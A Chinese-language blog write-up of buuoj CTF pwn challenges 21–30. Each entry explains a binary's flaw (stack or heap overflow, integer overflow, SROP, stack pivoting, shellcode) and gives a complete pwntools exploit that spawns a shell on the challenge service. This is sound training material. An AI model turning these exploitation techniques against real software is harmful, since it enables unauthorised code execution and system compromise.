buuoj Pwn writeup 21-30

21 ciscn_2019_ne_5

保护

这个地方的strcpy函数，一看就估摸着有问题。
他把src那块的东西复制到了dest
但是你会发现
dest那里
0x48

但是你是可以往src那里输入东西的。

一口气能输128个字节，那这就造成了溢出。

那再说怎么利用

这个地方首先要注意他这里没有/bin/sh，但是有sh

而且还非常隐蔽

所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用ROPgadget。

非常的nice

然后程序里面本来就有system函数，然后就一把梭。

exp

from pwn import *

context(log_level='debug')
proc_name = './2019'

p = process(proc_name)
# p = remote('node3.buuoj.cn', 29868)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
sh_str = 0x80482ea
p.sendlineafter('password:', 'administrator')
p.recv()
p.sendline('1')
p.recvuntil('info:')
payload = 'a' * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()

插一句，这个脚本也是我学来的，感觉写的非常棒。

22 铁人三项(第五赛区)_2018_rop

保护

栈溢出倒是很明显。
但是这玩意是个啥刚开始我还真没看出来。

度娘知道
C语言getegid()函数：获得组识别码

跟这个题也没啥关系，就不管了

那么说这个题怎么解
它有个栈溢出，然后我们通过它下面的write函数，泄露libc的地址，然后计算libc基地址，获得system函数地址，然后就又是一把梭。

然后要注意它还没给libc，所以得用LibcSearcher

exp

from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2018_rop'

#p = process(proc_name)
r = remote('node3.buuoj.cn', 26479)
elf = ELF(proc_name)
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = 'a' * 140 + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)

r.sendline(payload)

write_addr = u32(r.recv())

print hex(write_addr)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')

system_addr =libc_base + libc.dump('system')
bin_sh =libc_base + libc.dump('str_bin_sh')

payload = 'a' * 140 + p32(system_addr) + p32(bin_sh) + p32(bin_sh)

r.sendline(payload)

r.interactive()

23 babyheap_0ctf_2017

嚯，buu里面第一个全绿的。

这题刚进去我就看着不大对劲，这种菜单题很堆啊

果然
baby heap

乍一眼看过去都会用到v4，所以就瞅瞅v4是个啥。

首先要搞清楚这个函数是干嘛的。

大概就是堆的初始化。

第一个函数分析。
calloc函数。
C 库函数 void *calloc(size_t nitems, size_t size) 分配所需的内存空间，并返回一个指向它的指针。malloc 和 calloc 之间的不同点是，malloc 不会设置内存为零，而 calloc 会设置分配的内存为零。

nitems – 要被分配的元素个数。
size – 元素的大小。

分配的大小不能超过 4096 字节
*(24LL * i + a1)：置 1 表示 chunk 已经创建
*(a1 + 24LL * i + 8)：存储 chunk 的大小
*(a1 + 24LL * i + 16)：存储 chunk 的地址

先判断对应位是否为 1 ，即 chunk 是否存在
如果存在把输入的内容写入 *(24LL * v2 + a1 + 16) 对应的地址中。
这里没有对 v3 的大小做限制，存在堆溢出

free部分也没有uaf，清除的还是挺干净的。

先判断对应位是否为 1 ，即 chunk 是否存在
如果存在，打印长度为 *(24LL * v2 + a1 + 8) 存储字节数内容指针 *(24LL * v2 + a1 + 16) 指向的内容

会发现这里居然还有个puts，但是没啥用，传给puts的参数那里是个\x00。

解题思路是个啥，因为里面有double free漏洞，先通过堆溢出改变堆块大小，开一个chunk然后扔到unsortedbin里面，通过dump函数泄露地址，然后计算基质，得出one_gadget，再通过fastbin attack，修改malloc_hook为one_gadget 从而拿到权限。

exp

from pwn import*
#p = process("./2017")
p = remote('node3.buuoj.cn', 29514)
context.log_level = 'debug'
libc = ELF("libc-2.23.so")

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')

alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))

free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

#先需要一个unsorted bin 泄露地址，就需要chunk2，申请再释放，让里面有了main_arena的地址，通过堆溢出，将0x50大小的chunk 1伪造成0x80，释放了再申请回来，就能输出chunk 2里面的地址了。

offset = hex(0x7f9888706b78-0x7f9888342000)

libc_base = main_arena - 0x3c4b78

malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23

free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
fill(2, "a"*3+p64(0)+p64(0)+p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()

#第二部分就是fastbin_attack， 构造一个链，即addr1->addr2->addr1，中间夹着一个是绕过double free的检查，fake chunk的伪造也是为了fastbin attack的检查。

24 bjdctf_2020_babyrop

保护


有个栈溢出，然后里面有puts函数，这不就完了嘛

泄露libc地址，然后一把梭。

exp

from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2020'

r = remote('node3.buuoj.cn',25696)

elf = ELF(proc_name)

main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x400733

r.recvuntil('Pull up your sword and tell me u story!\n')

payload = 'a' * 40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

r.sendline(payload)

puts_addr = u64(r.recv(6).ljust(8, '\x00'))

print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")

payload = 'a' * 40 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()

25 others_shellcode

保护

就是里面写了个汇编代码
asm里面的就是当汇编代码执行

读它的汇编代码。

先看那个int 80h
这是32位的系统调用
系统调用号是eax
eax是11的时候调用的是execve函数
这个函数需要三个参数
这些参数存在ebx，ecx，edx里面
所以上面那个代码就是在getshell
所以只要连上跑一下就可以了。

这里有个题就是用的这些知识

连上跑一下

26 pwn2_sctf_2016

保护

发现有个这玩意。

看似好像没啥漏洞，没啥问题，但是会发现无论是vuln函数还是get_n函数，里面只检查了不大于多少，这就有了整数溢出漏洞，我们只要输入一个负数，就会绕过他这些检查。然后从理论上是去用那个int 80h去执行系统调用，但是没有找到合适的gadget。程序里面有printf函数，所以还是泄露函数然后一把梭吧。

exp

from LibcSearcher import LibcSearcher
from pwn import *

io = remote("node3.buuoj.cn",28702)
elf = ELF("./2016")

printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
fmtstr = 0x080486F8 
vuln_addr = 0x0804852F

payload1 = "A" * 0x30 + p32(printf_plt) + p32(vuln_addr) + p32(fmtstr) + p32(printf_got)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload1)

io.recvuntil("You said: ")
io.recvuntil("You said: ")
printf_addr = u32(io.recv(4))
print(printf_addr)


libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = "A" * 0x30 + p32(system_addr) + p32(vuln_addr) + p32(binsh_addr)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload2)

io.interactive()

27 ciscn_2019_s_3

SROP

保护

又是个这。

还是看汇编靠谱。

所以就是read函数跟write函数而已。
缓冲区开了10h
read能够输入400h
就有溢出了嘛。

具体利用就得用到SROP
SROP一遍过

首先是我们需要在里面写入‘/bin/sh’，通过read写进去之后写在了栈里面，但是我们并不知道栈得地址，所以需要通过write函数泄露，泄露的话write函数会输出30h大小的数据，需要你在里面找到栈的地址，并且计算到/bin/sh的偏移量。
经过调试之后其中0x20到0x28是一个栈上的地址，到/bin/sh距离是0x118，就获得了/bin/sh的地址。

from pwn import *
from LibcSearcher import * 

r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你会发现这里为什么read的地址跟平常我们写的在ebp之后不一样。
#这是因为这个函数调用规则不是我们平常的_cedel，这个函数最后一句直接就是retn，而我们平常见到的是level | ret

sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve 
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools功能就是强大

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)

r.interactive()

模板学来的，非常好用。

28 [HarekazeCTF2019]baby_rop2

保护
这一上来就个栈溢出，然后有read函数泄露libc地址一把梭。

这是gadget。

read函数也能泄露
exp

from pwn import*
from LibcSearcher import*

r = remote('node3.buuoj.cn',28671)

elf=ELF('./1')

rdi_ret=0x400733
rsi_r15_ret=0x400731
format_str=0x400770 
read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=0x400636

payload='a'*0x20+'b'*0x8
payload+=p64(rdi_ret)+p64(format_str)
payload+=p64(rsi_r15_ret)+p64(read_got)+p64(0x0)
payload+=p64(printf_plt)+p64(main_addr)

r.recvuntil("What's your name?")
r.sendline(payload)

read_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('read', read_addr)

libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')

payload2='a'*0x20+'b'*0x8+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
r.recvuntil("What's your name?")
r.sendline(payload2)

r.interactive()

29 ez_pz_hackover_2016

保护
你会发现它没有开NX，所以直接把shellcode可以写在栈上。

程序一点点，有个比较陌生的函数。
memchr
C 库函数 void *memchr(const void *str, int c, size_t n) 在参数 str 所指向的字符串的前 n 个字节中搜索第一次出现字符 c（一个无符号字符）的位置。

我们考虑写入shellcode，那么需要泄露栈的地址，但是程序直接给出来了。

有个检测，你可以用’\x00’把它绕过,因为上面会把’\n’变成’\x00’，所以直接用’\n’绕过就好。

绕过之后会有个溢出，然后溢出到shellcode上就好了。

exp

from pwn import *

context(os = "linux", arch = "i386")

#r = remote('node3.buuoj.cn',25228)
r = process('./2')

r.recvuntil('crash: 0x')
address = r.recv(8)
gdb.attach(r)
hack_addr = int(address, 16) - 28

payload = "crashme\x00" + '\x00' * 18 + p32(hack_addr) + asm(shellcraft.sh())

r.sendafter('> ', payload)

r.interactive()

你会发现里面第二个payload后面的padding是不是数量不对，明明IDA里面显示的缓冲区大小是0x32

在动态调试的时候发现

src并不是我们看到的就像IDA里面的s的地址，那问题出在那里？

他这个函数src那里是个二级指针，传入的是写着字符串的指针的地址，破案了。

30 ciscn_2019_es_2

保护

这里有system
但是里面的命令echo flag 只不过是输出flag这个字符串而已

开了个0x28大小的缓冲区，但是read读入的大小是0x30，除了覆盖ebp之外只能覆盖返回地址了。

所以直接想到应该栈迁移。

栈迁移

栈迁移一定需要两个leave|ret，以往我们见到的都是通过ROP自己写，但是这个题不一样，用的都是函数的leave|ret，非常的巧妙。

在泄露栈ebp地址的情况下
先通过第一个leave|ret把栈迁移到vuln的栈帧里面，然后自己写了‘/bin/sh’，自己把/bin/sh的地址再放到栈帧里面，然后通过第二个leave|ret进行利用。

exp

from pwn import *

r=process('./3')
#r = remote('node3.buuoj.cn',27896)
system_addr = 0x8048400 
gdb.attach(r)
payload = 'a' * 0x20 + 'bbbbbbbb'
r.send(payload)
r.recvuntil('b' * 8)
ebp_addr= u32(r.recv(4))
payload = ('a' * 8 + p32(ebp_addr - 0x24) + 'bbbb' + p32(system_addr) + 'cccc' + p32(ebp_addr - 0x1c) + '/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x2c)
r.send(payload)

r.interactive()

来源：oschina

链接：https://my.oschina.net/u/4376383/blog/4950004